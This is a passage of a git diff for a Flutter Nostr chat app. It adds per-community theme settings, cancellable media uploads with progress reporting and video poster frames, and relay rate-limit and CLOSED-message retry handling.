-    final mode = ref.watch(themeProvider);
-    final schemeName = ref.watch(schemeProvider);
-    final accentIndex = ref.watch(accentProvider);
+    final preference = ref.watch(communityThemeProvider);
+    final mode = preference.mode;
+    final schemeName = preference.theme;
+    final accentIndex = effectiveAccentIndex(
+      preference.theme,
+      preference.accent,
+    );
 
     return AppListCard(
-      label: 'Style',
+      label: 'Style · This community',
       children: [
         AppListRow(
           icon: LucideIcons.sunMoon,
@@ -38,23 +42,24 @@ class _AppearanceSection extends ConsumerWidget {
             MaterialPageRoute<void>(builder: (_) => const ThemePickerPage()),
           ),
         ),
-        AppListRow(
-          icon: LucideIcons.droplet,
-          title: 'Accent color',
-          // The swatch *is* the value — naming the color as well would say the
-          // same thing twice, so it takes the chevron's place.
-          trailing: _AccentSwatch(accentIndex: accentIndex),
-          onTap: () => Navigator.of(context).push(
-            MaterialPageRoute<void>(builder: (_) => const AccentPickerPage()),
+        if (!isBuzzTheme(effectiveTheme(schemeName, mode)?.name ?? schemeName))
+          AppListRow(
+            icon: LucideIcons.droplet,
+            title: 'Accent color',
+            // The swatch *is* the value — naming the color as well would say the
+            // same thing twice, so it takes the chevron's place.
+            trailing: _AccentSwatch(accentIndex: accentIndex),
+            onTap: () => Navigator.of(context).push(
+              MaterialPageRoute<void>(builder: (_) => const AccentPickerPage()),
+            ),
           ),
-        ),
       ],
     );
   }
 }
 
 void _showAppearanceModeSheet(BuildContext context) {
-  showModalBottomSheet<void>(
+  showBuzzModalBottomSheet<void>(
     context: context,
     showDragHandle: true,
     builder: (_) => const _AppearanceModeSheet(),
@@ -68,7 +73,7 @@ class _AppearanceModeSheet extends ConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
-    final mode = ref.watch(themeProvider);
+    final mode = ref.watch(communityThemeProvider).mode;
 
     return SafeArea(
       child: Column(
@@ -96,15 +101,7 @@ class _AppearanceModeSheet extends ConsumerWidget {
                     )
                   : null,
               onTap: () {
-                final schemeName = ref.read(schemeProvider);
-                final compatibleScheme = schemeForAppearanceMode(
-                  schemeName,
-                  option.mode,
-                );
-                if (compatibleScheme != schemeName) {
-                  ref.read(schemeProvider.notifier).setScheme(compatibleScheme);
-                }
-                ref.read(themeProvider.notifier).setMode(option.mode);
+                ref.read(communityThemeProvider.notifier).setMode(option.mode);
                 Navigator.of(context).pop();
               },
             ),
diff --git a/mobile/lib/features/settings/settings_page/connection_section.dart b/mobile/lib/features/settings/settings_page/connection_section.dart
index f34e88f26e..19da784a63 100644
--- a/mobile/lib/features/settings/settings_page/connection_section.dart
+++ b/mobile/lib/features/settings/settings_page/connection_section.dart
@@ -73,7 +73,7 @@ class _IdentityRow extends StatelessWidget {
 }
 
 void _confirmRemoveCommunity(BuildContext context, WidgetRef ref) {
-  showDialog<void>(
+  showBuzzDialog<void>(
     context: context,
     builder: (ctx) => AlertDialog(
       title: const Text('Remove Community'),
diff --git a/mobile/lib/features/settings/theme_picker_page.dart b/mobile/lib/features/settings/theme_picker_page.dart
index aba6579148..bd2c8fae32 100644
--- a/mobile/lib/features/settings/theme_picker_page.dart
+++ b/mobile/lib/features/settings/theme_picker_page.dart
@@ -18,8 +18,9 @@ class ThemePickerPage extends HookConsumerWidget {
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
-    final mode = ref.watch(themeProvider);
-    final selectedScheme = ref.watch(schemeProvider);
+    final preference = ref.watch(communityThemeProvider);
+    final mode = preference.mode;
+    final selectedScheme = preference.theme;
     final searchQuery = useState('');
     final searchController = useTextEditingController();
     final scrollController = useScrollController();
@@ -112,8 +113,8 @@ class ThemePickerPage extends HookConsumerWidget {
                         label: labelFor(theme),
                         selected: isSelected(theme),
                         onTap: () => ref
-                            .read(schemeProvider.notifier)
-                            .setScheme(theme.name),
+                            .read(communityThemeProvider.notifier)
+                            .setTheme(theme.name),
                       );
                     },
                   ),
diff --git a/mobile/lib/shared/emoji/native_emoji_glyph.dart b/mobile/lib/shared/emoji/native_emoji_glyph.dart
new file mode 100644
index 0000000000..7831c1b32b
--- /dev/null
+++ b/mobile/lib/shared/emoji/native_emoji_glyph.dart
@@ -0,0 +1,22 @@
+import 'package:flutter/foundation.dart';
+import 'package:flutter/material.dart';
+
+/// A standalone system emoji whose visual centre matches its surrounding UI.
+///
+/// Apple's emoji glyphs sit slightly low inside Flutter's text box. Keep the
+/// layout box unchanged and lift only the painted glyph on iOS; Android's
+/// system emoji metrics are already visually centred.
+class NativeEmojiGlyph extends StatelessWidget {
+  final String emoji;
+  final double size;
+
+  const NativeEmojiGlyph({super.key, required this.emoji, required this.size});
+
+  @override
+  Widget build(BuildContext context) {
+    final glyph = Text(emoji, style: TextStyle(fontSize: size));
+    if (defaultTargetPlatform != TargetPlatform.iOS) return glyph;
+
+    return Transform.translate(offset: const Offset(0, -1), child: glyph);
+  }
+}
diff --git a/mobile/lib/features/channels/read_state/deferred_read_state_update.dart b/mobile/lib/shared/read_state/deferred_read_state_update.dart
similarity index 100%
rename from mobile/lib/features/channels/read_state/deferred_read_state_update.dart
rename to mobile/lib/shared/read_state/deferred_read_state_update.dart
diff --git a/mobile/lib/features/channels/read_state/message_read_state.dart b/mobile/lib/shared/read_state/message_read_state.dart
similarity index 100%
rename from mobile/lib/features/channels/read_state/message_read_state.dart
rename to mobile/lib/shared/read_state/message_read_state.dart
diff --git a/mobile/lib/features/channels/read_state/read_state_format.dart b/mobile/lib/shared/read_state/read_state_format.dart
similarity index 98%
rename from mobile/lib/features/channels/read_state/read_state_format.dart
rename to mobile/lib/shared/read_state/read_state_format.dart
index fe99b4861d..b21175853e 100644
--- a/mobile/lib/features/channels/read_state/read_state_format.dart
+++ b/mobile/lib/shared/read_state/read_state_format.dart
@@ -2,7 +2,7 @@ import 'dart:convert';
 
 import 'package:flutter/foundation.dart';
 
-import '../../../shared/relay/nostr_models.dart';
+import '../relay/nostr_models.dart';
 
 const readStateDTagPrefix = 'read-state:';
 const readStateFetchLimit = 500;
diff --git a/mobile/lib/features/channels/read_state/read_state_manager.dart b/mobile/lib/shared/read_state/read_state_manager.dart
similarity index 96%
rename from mobile/lib/features/channels/read_state/read_state_manager.dart
rename to mobile/lib/shared/read_state/read_state_manager.dart
index fe51a94731..f8dcb878db 100644
--- a/mobile/lib/features/channels/read_state/read_state_manager.dart
+++ b/mobile/lib/shared/read_state/read_state_manager.dart
@@ -6,8 +6,8 @@ import 'package:flutter/foundation.dart';
 import 'package:nostr/nostr.dart' as nostr;
 import 'package:shared_preferences/shared_preferences.dart';
 
-import '../../../shared/crypto/nip44.dart';
-import '../../../shared/relay/relay.dart';
+import '../crypto/nip44.dart';
+import '../relay/relay.dart';
 import 'read_state_format.dart';
 import 'read_state_storage.dart';
 import 'read_state_time.dart';
@@ -423,6 +423,16 @@ class ReadStateManager {
       _maxFetchedCreatedAt = max(_maxFetchedCreatedAt, createdAt);
       _persistLocalState();
     } catch (error) {
+      if (_isOversizedReadStateError(error)) {
+        _remoteUnsupported = true;
+        _debounceTimer?.cancel();
+        _debounceTimer = null;
+        debugPrint(
+          '[ReadStateManager] remote read-state sync disabled because the '
+          'local state exceeds the NIP-44 plaintext limit.',
+        );
+        return;
+      }
       if (_isPermanentReadStateRemoteError(error)) {
         _remoteUnsupported = true;
         _debounceTimer?.cancel();
@@ -526,6 +536,12 @@ class ReadStateManager {
   bool _isPlausibleCreatedAt(int createdAt) =>
       createdAt <= currentUnixSeconds() + readStateMaxClockDriftSeconds;
 
+  bool _isOversizedReadStateError(Object error) {
+    final msg = error.toString().toLowerCase();
+    return error is ArgumentError &&
+        msg.contains('plaintext must be 1-65535 bytes');
+  }
+
   bool _isPermanentReadStateRemoteError(Object error) {
     // Relay rejections come back as `Exception("<message>")` from the
     // websocket OK handler. Pattern-match on the message text since we no
diff --git a/mobile/lib/features/channels/read_state/read_state_provider.dart b/mobile/lib/shared/read_state/read_state_provider.dart
similarity index 97%
rename from mobile/lib/features/channels/read_state/read_state_provider.dart
rename to mobile/lib/shared/read_state/read_state_provider.dart
index b82f1af5fd..22375db959 100644
--- a/mobile/lib/features/channels/read_state/read_state_provider.dart
+++ b/mobile/lib/shared/read_state/read_state_provider.dart
@@ -3,9 +3,9 @@ import 'dart:async';
 import 'package:flutter/widgets.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
-import '../../../shared/relay/relay.dart';
-import '../../../shared/theme/theme_provider.dart';
-import '../../../shared/community/community_provider.dart';
+import '../relay/relay.dart';
+import '../theme/theme_provider.dart';
+import '../community/community_provider.dart';
 import 'read_state_manager.dart';
 
 class ReadStateState {
diff --git a/mobile/lib/features/channels/read_state/read_state_storage.dart b/mobile/lib/shared/read_state/read_state_storage.dart
similarity index 100%
rename from mobile/lib/features/channels/read_state/read_state_storage.dart
rename to mobile/lib/shared/read_state/read_state_storage.dart
diff --git a/mobile/lib/features/channels/read_state/read_state_time.dart b/mobile/lib/shared/read_state/read_state_time.dart
similarity index 100%
rename from mobile/lib/features/channels/read_state/read_state_time.dart
rename to mobile/lib/shared/read_state/read_state_time.dart
diff --git a/mobile/lib/shared/relay/media_upload.dart b/mobile/lib/shared/relay/media_upload.dart
index 58c93979d7..3161a70362 100644
--- a/mobile/lib/shared/relay/media_upload.dart
+++ b/mobile/lib/shared/relay/media_upload.dart
@@ -1,5 +1,7 @@
+import 'dart:async';
 import 'dart:convert';
 import 'dart:io';
+import 'dart:math' as math;
 
 import 'package:file_selector/file_selector.dart' as file_selector;
 import 'package:flutter/foundation.dart';
@@ -20,6 +22,7 @@ const _legacyMediaUploadPath = '/media/upload';
 const _mediaUploadPlatformChannelName = 'buzz/media_upload';
 const _sanitizeImageForUploadMethod = 'sanitizeImageForUpload';
 const _transcodeVideoToMp4Method = 'transcodeVideoToMp4';
+const _generateVideoPosterMethod = 'generateVideoPoster';
 const _transcodeImageToJpegMethod = 'transcodeImageToJpeg';
 const _requiresLegacyMediaStoragePermissionMethod =
     'requiresLegacyMediaStoragePermission';
@@ -73,6 +76,9 @@ typedef SanitizeImageBytes =
     Future<Uint8List> Function(Uint8List bytes, String mimeType);
 typedef TranscodeImageToJpeg = Future<Uint8List> Function(Uint8List bytes);
 typedef TranscodeVideoToMp4 = Future<String> Function(String filePath);
+
+/// Generates poster-frame bytes for the video at [filePath], when available.
+typedef GenerateVideoPoster = Future<Uint8List?> Function(String filePath);
 typedef ReadClipboardImage = Future<Uint8List?> Function();
 
 class MediaPolicyUploadException implements Exception {
@@ -82,6 +88,28 @@ class MediaPolicyUploadException implements Exception {
   String toString() => _mediaPolicyUploadMessage;
 }
 
+/// Cancels a single user-initiated media upload without closing the shared
+/// HTTP client used by later uploads.
+class UploadCancellationToken {
+  final Completer<void> _cancelled = Completer<void>();
+
+  /// Whether cancellation has been requested.
+  bool get isCancelled => _cancelled.isCompleted;
+
+  /// Completes when cancellation is first requested.
+  Future<void> get whenCancelled => _cancelled.future;
+
+  /// Requests cancellation. Calling this more than once has no effect.
+  void cancel() {
+    if (!_cancelled.isCompleted) _cancelled.complete();
+  }
+}
+
+/// Indicates that a user cancelled a media upload before it completed.
+class UploadCancelledException implements Exception {
+  const UploadCancelledException();
+}
+
 @immutable
 class _PreparedUploadImage {
   final Uint8List bytes;
@@ -146,6 +174,21 @@ class BlobDescriptor {
     filename: value,
   );
 
+  /// Returns a descriptor with [value] as its NIP-71 video poster URL.
+  BlobDescriptor withImage(String value) => BlobDescriptor(
+    url: url,
+    sha256: sha256,
+    size: size,
+    type: type,
+    uploaded: uploaded,
+    dim: dim,
+    blurhash: blurhash,
+    thumb: thumb,
+    duration: duration,
+    image: value,
+    filename: filename,
+  );
+
   List<String> toImetaTag() => [
     'imeta',
     'url $url',
@@ -181,6 +224,7 @@ class MediaUploadService {
   final SanitizeImageBytes _sanitizeImageBytes;
   final TranscodeImageToJpeg _transcodeImageToJpeg;
   final TranscodeVideoToMp4 _transcodeVideoToMp4;
+  final GenerateVideoPoster _generateVideoPoster;
   final ReadClipboardImage _readClipboardImage;
   final DateTime Function() _now;
   final http.Client _http;
@@ -196,6 +240,7 @@ class MediaUploadService {
     SanitizeImageBytes? sanitizeImageBytes,
     TranscodeImageToJpeg? transcodeImageToJpeg,
     TranscodeVideoToMp4? transcodeVideoToMp4,
+    GenerateVideoPoster? generateVideoPoster,
     ReadClipboardImage? readClipboardImage,
     DateTime Function()? now,
     http.Client? httpClient,
@@ -214,6 +259,7 @@ class MediaUploadService {
        _transcodeImageToJpeg =
            transcodeImageToJpeg ?? _transcodePickedImageToJpeg,
        _transcodeVideoToMp4 = transcodeVideoToMp4 ?? _transcodePickedVideoToMp4,
+       _generateVideoPoster = generateVideoPoster ?? _generatePickedVideoPoster,
        _readClipboardImage = readClipboardImage ?? _readPlatformClipboardImage,
        _now = now ?? DateTime.now,
        _http = httpClient ?? http.Client(),
@@ -234,11 +280,18 @@ class MediaUploadService {
   /// Opens the system picker with multi-selection enabled.
   Future<List<XFile>> pickGalleryImages() => _pickGalleryImages();
 
-  Future<BlobDescriptor> uploadImage(XFile image) async {
+  Future<BlobDescriptor> uploadImage(
+    XFile image, {
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
+  }) async {
     final preparedImage = await _prepareUploadImage(image);
+    _throwIfCancelled(cancellationToken);
     return _uploadPreparedBytes(
       preparedImage.bytes,
       mimeType: preparedImage.mimeType,
+      onProgress: onProgress,
+      cancellationToken: cancellationToken,
     );
   }
 
@@ -250,18 +303,28 @@ class MediaUploadService {
   }
 
   Future<BlobDescriptor> readAndUploadClipboardImage() async {
+    final image = await readClipboardImage();
+    if (image == null) throw Exception('Unable to read pasted image');
+    return uploadImage(image);
+  }
+
+  /// Reads a clipboard image for composer preview before the user sends it.
+  Future<XFile?> readClipboardImage() async {
     final bytes = await _readClipboardImage();
-    if (bytes == null || bytes.isEmpty) {
-      throw Exception('Unable to read pasted image');
-    }
-    return uploadImage(XFile.fromData(bytes));
+    if (bytes == null || bytes.isEmpty) return null;
+    return XFile.fromData(bytes, name: 'Pasted image');
   }
 
   /// Opens the system gallery video picker.
   Future<XFile?> pickGalleryVideo() => _pickGalleryVideo();
 
   /// Sanitizes and uploads [pickedVideo] as an MP4 attachment.
-  Future<BlobDescriptor> uploadVideo(XFile pickedVideo) async {
+  Future<BlobDescriptor> uploadVideo(
+    XFile pickedVideo, {
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
+  }) async {
+    _throwIfCancelled(cancellationToken);
     final length = await pickedVideo.length();
     if (length > _maxVideoSizeBytes) {
       throw Exception(
@@ -274,6 +337,7 @@ class MediaUploadService {
     String? transcodedPath;
     try {
       transcodedPath = await _transcodeVideoToMp4(pickedVideo.path);
+      _throwIfCancelled(cancellationToken);
       final transcodedFile = File(transcodedPath);
       final transcodedLength = await transcodedFile.length();
       if (transcodedLength > _maxVideoSizeBytes) {
@@ -282,7 +346,63 @@ class MediaUploadService {
         );
       }
       final bytes = await transcodedFile.readAsBytes();
-      return uploadBytes(bytes, mimeType: 'video/mp4');
+      _throwIfCancelled(cancellationToken);
+      final video = await uploadBytes(
+        bytes,
+        mimeType: 'video/mp4',
+        onProgress: onProgress == null
+            ? null
+            : (progress) => onProgress(progress * 0.9),
+        cancellationToken: cancellationToken,
+      );
+
+      // Extract from the canonical output first so the poster matches the
+      // uploaded orientation. Some AVFoundation exports need a moment before
+      // their first frame is seekable; fall back to the picked source instead
+      // of silently sending a permanently gray video card.
+      Uint8List? posterBytes;
+      Object? posterExtractionError;
+      for (final sourcePath in {transcodedPath, pickedVideo.path}) {
+        try {
+          final candidate = await _generateVideoPoster(sourcePath);
+          if (candidate != null && candidate.isNotEmpty) {
+            posterBytes = candidate;
+            break;
+          }
+        } catch (error) {
+          posterExtractionError = error;
+        }
+      }
+
+      if (posterBytes == null) {
+        if (posterExtractionError != null) {
+          debugPrint('Unable to generate video poster: $posterExtractionError');
+        }
+        onProgress?.call(1);
+        return video;
+      }
+
+      // Posters are best-effort: a video that passed the media policy should
+      // still send if the separate preview upload fails.
+      try {
+        _throwIfCancelled(cancellationToken);
+        final poster = await uploadImage(
+          XFile.fromData(
+            posterBytes,
+            mimeType: 'image/jpeg',
+            name: 'video-poster.jpg',
+          ),
+          onProgress: onProgress == null
+              ? null
+              : (progress) => onProgress(0.9 + (progress * 0.1)),
+          cancellationToken: cancellationToken,
+        );
+        return video.withImage(poster.url);
+      } catch (error) {
+        debugPrint('Unable to upload video poster: $error');
+        onProgress?.call(1);
+        return video;
+      }
     } finally {
       if (transcodedPath != null) {
         try {
@@ -310,7 +430,12 @@ class MediaUploadService {
   }
 
   /// Uploads [pickedFile] as a size-limited generic attachment.
-  Future<BlobDescriptor> uploadFile(XFile pickedFile) async {
+  Future<BlobDescriptor> uploadFile(
+    XFile pickedFile, {
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
+  }) async {
+    _throwIfCancelled(cancellationToken);
     final length = await pickedFile.length();
     if (length == 0) {
       throw Exception('File is empty.');
@@ -321,10 +446,13 @@ class MediaUploadService {
       );
     }
     final bytes = await pickedFile.readAsBytes();
+    _throwIfCancelled(cancellationToken);
     final descriptor = await _uploadPreparedBytes(
       bytes,
       mimeType: 'application/octet-stream',
       allowGenericFile: true,
+      onProgress: onProgress,
+      cancellationToken: cancellationToken,
     );
     return descriptor.withFilename(_safeAttachmentFilename(pickedFile.name));
   }
@@ -338,7 +466,10 @@ class MediaUploadService {
   Future<BlobDescriptor> uploadBytes(
     Uint8List bytes, {
     required String mimeType,
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
   }) async {
+    _throwIfCancelled(cancellationToken);
     if (mimeType == 'image/gif' ||
         (mimeType == 'image/png' && _isAnimatedPng(bytes)) ||
         (mimeType == 'image/webp' && _isAnimatedWebp(bytes))) {
@@ -348,14 +479,22 @@ class MediaUploadService {
         throw Exception('failed to sanitize image for upload');
       }
     }
-    return _uploadPreparedBytes(bytes, mimeType: mimeType);
+    return _uploadPreparedBytes(
+      bytes,
+      mimeType: mimeType,
+      onProgress: onProgress,
+      cancellationToken: cancellationToken,
+    );
   }
 
   Future<BlobDescriptor> _uploadPreparedBytes(
     Uint8List bytes, {
     required String mimeType,
     bool allowGenericFile = false,
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
   }) async {
+    _throwIfCancelled(cancellationToken);
     if (!allowGenericFile &&
         !_allowedImageMimeTypes.contains(mimeType) &&
         !_allowedVideoMimeTypes.contains(mimeType)) {
@@ -363,25 +502,24 @@ class MediaUploadService {
     }
 
     final sha256 = _sha256Hex(bytes);
-    var request = _buildUploadRequest(
+    var response = await _sendUploadRequest(
       bytes: bytes,
       mimeType: mimeType,
       sha256: sha256,
       path: _mediaUploadPath,
+      onProgress: onProgress,
+      cancellationToken: cancellationToken,
     );
-
-    var streamed = await _http.send(request);
-    var response = await http.Response.fromStream(streamed);
     if (response.statusCode == HttpStatus.notFound ||
         response.statusCode == HttpStatus.methodNotAllowed) {
-      request = _buildUploadRequest(
+      response = await _sendUploadRequest(
         bytes: bytes,
         mimeType: mimeType,
         sha256: sha256,
         path: _legacyMediaUploadPath,
+        onProgress: onProgress,
+        cancellationToken: cancellationToken,
       );
-      streamed = await _http.send(request);
-      response = await http.Response.fromStream(streamed);
     }
     if (response.statusCode < 200 || response.statusCode >= 300) {
       if (_allowedImageMimeTypes.contains(mimeType) &&
@@ -399,18 +537,37 @@ class MediaUploadService {
     );
   }
 
-  http.Request _buildUploadRequest({
+  Future<http.Response> _sendUploadRequest({
     required Uint8List bytes,
     required String mimeType,
     required String sha256,
     required String path,
-  }) {
-    final request = http.Request('PUT', Uri.parse(_baseUrl).resolve(path));
-    request.bodyBytes = bytes;
+    ValueChanged<double>? onProgress,
+    UploadCancellationToken? cancellationToken,
+  }) async {
+    _throwIfCancelled(cancellationToken);
+    final request = http.AbortableStreamedRequest(
+      'PUT',
+      Uri.parse(_baseUrl).resolve(path),
+      abortTrigger: cancellationToken?.whenCancelled,
+    );
+    request.contentLength = bytes.length;
     request.headers.addAll(
       _buildUploadHeaders(mimeType: mimeType, sha256: sha256),
     );
-    return request;
+    final writeRequest = request.sink
+        .addStream(_uploadByteStream(bytes, onProgress))
+        .whenComplete(request.sink.close);
+    final response = await _http.send(request);
+    await writeRequest;
+    _throwIfCancelled(cancellationToken);
+    return http.Response.fromStream(response);
+  }
+
+  void _throwIfCancelled(UploadCancellationToken? cancellationToken) {
+    if (cancellationToken?.isCancelled ?? false) {
+      throw const UploadCancelledException();
+    }
   }
 
   Map<String, String> _buildUploadHeaders({
@@ -547,6 +704,23 @@ String _safeAttachmentFilename(String filename) {
   return safeBasename.isEmpty ? 'file' : safeBasename;
 }
 
+Stream<List<int>> _uploadByteStream(
+  Uint8List bytes,
+  ValueChanged<double>? onProgress,
+) async* {
+  const chunkSize = 64 * 1024;
+  onProgress?.call(0);
+  if (bytes.isEmpty) {
+    onProgress?.call(1);
+    return;
+  }
+  for (var start = 0; start < bytes.length; start += chunkSize) {
+    final end = math.min(start + chunkSize, bytes.length);
+    yield Uint8List.sublistView(bytes, start, end);
+    onProgress?.call(end / bytes.length);
+  }
+}
+
 String _sha256Hex(Uint8List bytes) {
   final digest = SHA256Digest().process(bytes);
   return digest.map((byte) => byte.toRadixString(16).padLeft(2, '0')).join();
@@ -730,15 +904,19 @@ int _readUint32LittleEndian(Uint8List bytes, int offset) {
       (bytes[offset + 3] << 24);
 }
 
-/// Always returns `video/mp4` — the relay only accepts MP4 and does its own
-/// magic-byte validation. Most iPhone `.mov` files are ftyp-isom containers
-/// that the relay accepts as MP4.
 Future<Uint8List?> _readPlatformClipboardImage() async {
   return _mediaUploadPlatformChannel.invokeMethod<Uint8List>(
     _readClipboardImageMethod,
   );
 }
 
+Future<Uint8List?> _generatePickedVideoPoster(String filePath) {
+  return _mediaUploadPlatformChannel.invokeMethod<Uint8List>(
+    _generateVideoPosterMethod,
+    filePath,
+  );
+}
+
 Future<String> _transcodePickedVideoToMp4(String filePath) async {
   final result = await _mediaUploadPlatformChannel.invokeMethod<String>(
     _transcodeVideoToMp4Method,
diff --git a/mobile/lib/shared/relay/relay.dart b/mobile/lib/shared/relay/relay.dart
index bc11325414..dd153fc928 100644
--- a/mobile/lib/shared/relay/relay.dart
+++ b/mobile/lib/shared/relay/relay.dart
@@ -5,8 +5,10 @@ export 'media_image.dart';
 export 'media_upload.dart';
 export 'nostr_filters.dart';
 export 'nostr_models.dart';
+export 'relay_closed_policy.dart';
 export 'relay_client.dart';
 export 'relay_provider.dart';
+export 'relay_rate_limit_gate.dart';
 export 'relay_session.dart';
 export 'relay_socket.dart';
 export 'signed_event_relay.dart';
diff --git a/mobile/lib/shared/relay/relay_closed_policy.dart b/mobile/lib/shared/relay/relay_closed_policy.dart
new file mode 100644
index 0000000000..d39084b189
--- /dev/null
+++ b/mobile/lib/shared/relay/relay_closed_policy.dart
@@ -0,0 +1,39 @@
+/// Recovery policy for a relay `CLOSED` subscription message.
+enum RelayClosedClass {
+  /// A transient failure that may recover when the same REQ is retried.
+  retryable,
+
+  /// Relay back-pressure that must also arm the shared request gate.
+  rateLimited,
+
+  /// An authorization, access, or filter failure that cannot recover unchanged.
+  terminal,
+}
+
+/// Classifies whether a relay `CLOSED` message should be retried.
+RelayClosedClass classifyRelayClosed(String message) {
+  final normalized = message.trim().toLowerCase();
+  if (normalized.startsWith('rate-limited:')) {
+    return RelayClosedClass.rateLimited;
+  }
+  if (normalized.startsWith('restricted:') ||
+      normalized.startsWith('auth-required:') ||
+      normalized.startsWith('blocked:') ||
+      normalized.startsWith('invalid:') ||
+      normalized.startsWith('pow:') ||
+      normalized.startsWith('duplicate:') ||
+      normalized.startsWith('unsupported:') ||
+      normalized.startsWith('error: mixed search') ||
+      normalized.startsWith('error: too many subscriptions')) {
+    return RelayClosedClass.terminal;
+  }
+  return RelayClosedClass.retryable;
+}
+
+final _rateLimitRetryPattern = RegExp(r'retry in (\d+)s', caseSensitive: false);
+
+/// Parses the relay's canonical `retry in Ns` hint, when present.
+int? parseRateLimitRetrySeconds(String message) {
+  final match = _rateLimitRetryPattern.firstMatch(message);
+  return match == null ? null : int.tryParse(match.group(1)!);
+}
diff --git a/mobile/lib/shared/relay/relay_rate_limit_gate.dart b/mobile/lib/shared/relay/relay_rate_limit_gate.dart
new file mode 100644
index 0000000000..6164013936
--- /dev/null
+++ b/mobile/lib/shared/relay/relay_rate_limit_gate.dart
@@ -0,0 +1,80 @@
+import 'dart:async';
+import 'dart:math';
+
+/// Creates a timer used by [RelayRateLimitGate].
+typedef RelayTimerFactory =
+    Timer Function(Duration duration, void Function() callback);
+
+/// Session-owned gate that pauses relay requests after back-pressure.
+class RelayRateLimitGate {
+  /// Default gate duration when the relay omits a positive retry hint.
+  static const defaultRetrySeconds = 10;
+
+  /// Longest retry hint accepted from a relay response.
+  static const maxRetrySeconds = 300;
+
+  RelayRateLimitGate({
+    DateTime Function()? now,
+    RelayTimerFactory timerFactory = Timer.new,
+  }) : _now = now ?? DateTime.now,
+       _timerFactory = timerFactory;
+
+  final DateTime Function() _now;
+  final RelayTimerFactory _timerFactory;
+  DateTime? _expiresAt;
+  Timer? _timer;
+  Completer<void>? _completer;
+
+  /// Whether a rate-limit window is currently active.
+  bool get isActive {
+    final expiresAt = _expiresAt;
+    return expiresAt != null && _now().isBefore(expiresAt);
+  }
+
+  /// Activates or extends the gate without shrinking an existing window.
+  void activate(int? retryInSeconds) {
+    final seconds = retryInSeconds != null && retryInSeconds > 0
+        ? min(retryInSeconds, maxRetrySeconds)
+        : defaultRetrySeconds;
+    final duration = Duration(seconds: seconds);
+    final newExpiry = _now().add(duration);
+    final currentExpiry = _expiresAt;
+    if (currentExpiry != null && !newExpiry.isAfter(currentExpiry)) return;
+
+    _expiresAt = newExpiry;
+    _timer?.cancel();
+    _completer ??= Completer<void>();
+    _timer = _timerFactory(duration, _expire);
+  }
+
+  /// Resolves when the active rate-limit window expires.
+  Future<void> wait() {
+    if (!isActive) return Future.value();
+    return _completer!.future;
+  }
+
+  /// Milliseconds remaining in the active window, or zero when inactive.
+  int remainingMs() {
+    final expiresAt = _expiresAt;
+    if (expiresAt == null) return 0;
+    return max(0, expiresAt.difference(_now()).inMilliseconds);
+  }
+
+  /// Clears the gate and releases all current waiters.
+  void reset() {
+    _timer?.cancel();
+    _timer = null;
+    _expiresAt = null;
+    final completer = _completer;
+    _completer = null;
+    if (completer != null && !completer.isCompleted) completer.complete();
+  }
+
+  void _expire() {
+    _timer = null;
+    _expiresAt = null;
+    final completer = _completer;
+    _completer = null;
+    if (completer != null && !completer.isCompleted) completer.complete();
+  }
+}
diff --git a/mobile/lib/shared/relay/relay_session.dart b/mobile/lib/shared/relay/relay_session.dart
index d34c5405e8..1c5c305b4c 100644
--- a/mobile/lib/shared/relay/relay_session.dart
+++ b/mobile/lib/shared/relay/relay_session.dart
@@ -13,7 +13,9 @@ import 'package:hooks_riverpod/hooks_riverpod.dart';
 import '../auth/auth.dart';
 import 'nostr_models.dart';
 import 'relay_client.dart';
+import 'relay_closed_policy.dart';
 import 'relay_provider.dart';
+import 'relay_rate_limit_gate.dart';
 import 'relay_socket.dart';
 
 enum SessionStatus { disconnected, connecting, connected, reconnecting }
@@ -40,6 +42,8 @@ class _LiveSubscription {
   final void Function(String message)? onClosed;
   Completer<void>? readyCompleter;
   int? lastSeenCreatedAt;
+  int closedRetryAttempt = 0;
+  Timer? closedRetryTimer;
 
   _LiveSubscription({
     required this.filter,
@@ -49,6 +53,13 @@ class _LiveSubscription {
   });
 }
 
+class _ClosedRetry {
+  final _LiveSubscription subscription;
+  final int generation;
+
+  _ClosedRetry({required this.subscription, required this.generation});
+}
+
 class _PendingEvent {
   final Completer<NostrEvent> completer;
   final Timer timeout;
@@ -78,33 +89,53 @@ class RelaySessionNotifier extends Notifier<SessionState> {
   RelaySessionNotifier({
     http.Client? httpClient,
     RelaySocketFactory socketFactory = RelaySocket.new,
+    DateTime Function()? now,
+    RelayRateLimitGate? rateLimitGate,
+    RelayTimerFactory retryTimerFactory = Timer.new,
+    Future<void> Function(Duration) replayDelay = Future.delayed,
   }) : _httpClient = httpClient,
-       _socketFactory = socketFactory;
+       _socketFactory = socketFactory,
+       _now = now ?? DateTime.now,
+       _rateLimitGate = rateLimitGate ?? RelayRateLimitGate(),
+       _retryTimerFactory = retryTimerFactory,
+       _replayDelay = replayDelay;
 
   final http.Client? _httpClient;
   final RelaySocketFactory _socketFactory;
+  final DateTime Function() _now;
+  final RelayRateLimitGate _rateLimitGate;
+  final RelayTimerFactory _retryTimerFactory;
+  final Future<void> Function(Duration) _replayDelay;
 
   static const _baseReconnectDelayMs = 1000;
   static const _maxReconnectDelayMs = 30000;
   static const _eventBatchMs = 16;
   static const _reconnectReplaySkewSeconds = 5;
+  static const _replayBatchSize = 8;
+  static const _replayInterBatchDelay = Duration(milliseconds: 50);
   static const _maxRecentDeliveryKeys = 5000;
+  static const _backgroundGraceDuration = Duration(seconds: 5);
 
   RelaySocket? _socket;
   final Map<String, _HistorySubscription> _historySubscriptions = {};
   final Map<String, _LiveSubscription> _liveSubscriptions = {};
+  final Map<String, _ClosedRetry> _pendingClosedRetries = {};
   final Map<String, _PendingEvent> _pendingEvents = {};
   final List<_BufferedEvent> _eventBuffer = [];
   final Set<String> _recentDeliveryKeys = {};
   Timer? _reconnectTimer;
   Timer? _flushTimer;
   Timer? _backgroundGraceTimer;
+  DateTime? _backgroundedAt;
   int _reconnectDelayMs = _baseReconnectDelayMs;
   int _subIdCounter = 0;
   bool _disposed = false;
   bool _paused = false;
   bool _hasConnectedOnce = false;
   int _connectionGeneration = 0;
